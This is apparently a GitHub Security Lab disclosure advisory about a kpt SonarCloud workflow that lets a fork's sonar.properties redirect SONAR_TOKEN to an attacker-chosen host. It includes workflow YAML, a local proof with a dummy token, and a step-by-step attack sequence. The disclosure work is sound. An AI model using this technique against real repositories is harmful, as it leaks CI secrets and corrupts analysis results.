Coordinated Disclosure Timeline
- 2026-09-08: Reported through Private Vulnerability Reporting.
- 2026-09-30: Fixed in #4780
Summary
The SonarCloud analysis workflow runs in the base repository through workflow_run, checks out an external pull request’s fork commit, and invokes SonarScanner with the repository’s SONAR_TOKEN. A fork author can set sonar.host.url in the checked-out sonar.properties; because the workflow does not pin a trusted scanner host, SonarScanner sends SONAR_TOKEN as Bearer authentication to that attacker-selected URL before analysis begins. The attacker can then exercise the token’s SonarCloud permissions and manipulate authenticated analysis for kptdev_kpt.
Project
kptdev/kpt repository
Tested Version
The default branch at commit 6345d96d661eae1f6cdcb97b1f70080ce35f61a4.
Details
Fork-controlled sonar.properties is consumed by a privileged SonarCloud scan with SONAR_TOKEN (GHSL-2026-208)
The Go workflow runs for pull requests and checks out the pull request code for its build and test jobs. After successful testing, it uploads coverage reports and stores the pull request number in a PR_NUMBER artifact.
Completion of the Go workflow triggers the default-branch SonarCloud analysis workflow. The latter runs in a privileged workflow_run context, where repository secrets are available. Its success and coverage-artifact checks restrict when the path runs, but do not establish trust in the pull request contents.
For pull request runs, the privileged workflow downloads PR_NUMBER, resolves the pull request, and then checks out the triggering workflow’s head repository and head SHA. For an external pull request, both identify the fork author’s immutable commit:
- name: Checkout PR head
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
with:
repository: ${{ github.event.workflow_run.head_repository.full_name }}
ref: ${{ github.event.workflow_run.head_sha }}
fetch-depth: 0
persist-credentials: false
allow-unsafe-pr-checkout: true
The next step is named Checkout base branch, but after briefly creating the local base branch it checks out HEAD_SHA again and resets the working tree to that commit:
- name: Checkout base branch
if: github.event.workflow_run.event == 'pull_request'
env:
BASE_REF: ${{ steps.pr_meta.outputs.base_ref }}
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
CLONE_URL: ${{ github.event.repository.clone_url }}
run: |
git remote add upstream "$CLONE_URL"
git fetch upstream
git checkout -B "$BASE_REF" "upstream/$BASE_REF"
git checkout "$HEAD_SHA"
git clean -ffdx && git reset --hard HEAD
Consequently, files in the workspace, including sonar.properties, still come from the fork-controlled pull request commit. The SonarQube scan step then supplies the repository secret SONAR_TOKEN and explicitly selects that working-tree configuration file:
- name: SonarQube Scan on PR
if: github.event.workflow_run.event == 'pull_request' && hashFiles('PR_NUMBER.txt') != ''
uses: SonarSource/sonarqube-scan-action@713881670b6b3676cda39549040e2d88c70d582e # v8.2.0
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
with:
args:
-Dsonar.projectKey=kptdev_kpt
-Dsonar.organization=kptdev
-Dproject.settings=sonar.properties
-Dsonar.pullrequest.key=${{ steps.pr_meta.outputs.number }}
-Dsonar.pullrequest.branch=${{ steps.pr_meta.outputs.head_ref }}
-Dsonar.pullrequest.base=${{ steps.pr_meta.outputs.base_ref }}
The command-line arguments pin several analysis identifiers, but they do not pin sonar.host.url. SonarScanner CLI loads the project settings file before overlaying environment variables and CLI arguments. In this workflow, SONAR_TOKEN maps to sonar.token, but neither the workflow nor the action sets a trusted SONAR_HOST_URL. The pull request’s sonar.host.url therefore remains effective. The scanner’s HTTP client adds Authorization: Bearer <sonar.token> to authenticated bootstrap requests sent to that configured host.
This was reproduced safely with the exact SonarScanner CLI 8.1.0.6389 selected by the pinned action. A local-only listener and dummy token were used; no project credential or external receiver was involved. The controlled project file contained:
sonar.host.url=http://127.0.0.1:<port>
sonar.projectKey=ghsl-local-proof
sonar.sources=.
The scanner was launched in a clean environment with:
env -i PATH="$PATH" SONAR_TOKEN=GHSL_DUMMY_CANARY_2026_208 sonar-scanner -Dproject.settings=sonar.properties
Before analysis began, the listener received:
GET /api/v2/analysis/version HTTP/1.1
Authorization: Bearer GHSL_DUMMY_CANARY_2026_208
User-Agent: ScannerCLI/8.1.0.6389
The scanner also sent the same Bearer token to its legacy /api/server/version fallback after the local listener returned an unsupported response. This demonstrates that an attacker does not need a functioning SonarQube server or a completed scan to obtain the secret: receiving the initial authenticated bootstrap request is sufficient. No live exploit was run against the project, and this report does not claim base-repository writes.
A representative attack sequence is:
- An external contributor changes
sonar.propertiesin a fork and opens a pull request containing code changes that exercise theGoworkflow. - The pull request workflow completes successfully and uploads the expected coverage and
PR_NUMBERartifacts. Repository policy may first require approval for the fork workflow run. - The
workflow_runjob checks out the fork repository at the attacker-controlled head SHA. - The branch-preparation commands finish with the same untrusted head SHA checked out, so they do not restore the trusted base version of
sonar.properties. - SonarScanner reads the attacker-controlled
sonar.host.urland sendsSONAR_TOKENas Bearer authentication to that server during its initial bootstrap request, directly disclosing the repository secret.
Impact
This is a confirmed direct disclosure of SONAR_TOKEN across the pull request trust boundary. An external fork author can choose the scanner’s destination through sonar.properties; the exact scanner used by the workflow then transmits the repository secret to that destination in an Authorization: Bearer header before analysis begins.
After disclosure, the attacker can exercise whatever permissions the token carries. A SonarCloud personal access token can authenticate analyses and Web API requests with the issuing user’s permissions. A scoped organization or project analysis token can at least submit unauthorized analyses within its scope. In either case, the attacker can impersonate the trusted CI scanner, consume or corrupt authenticated analysis for kptdev_kpt, and undermine the integrity of its security and quality results. The exact blast radius beyond that project depends on the type and permissions of the configured token.
The minimum attacker requires only control of an external pull request’s contents. Exploitation requires the Go workflow to run successfully.
CWEs
Resources
Gopull request workflow and artifact producerSonarCloud analysisprivileged consumer workflowsonar.propertiesat the tested commit- GitHub Security Lab: Preventing pwn requests
- GitHub Docs: Mitigating the risks of untrusted code checkout
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-208 in any communication regarding this issue.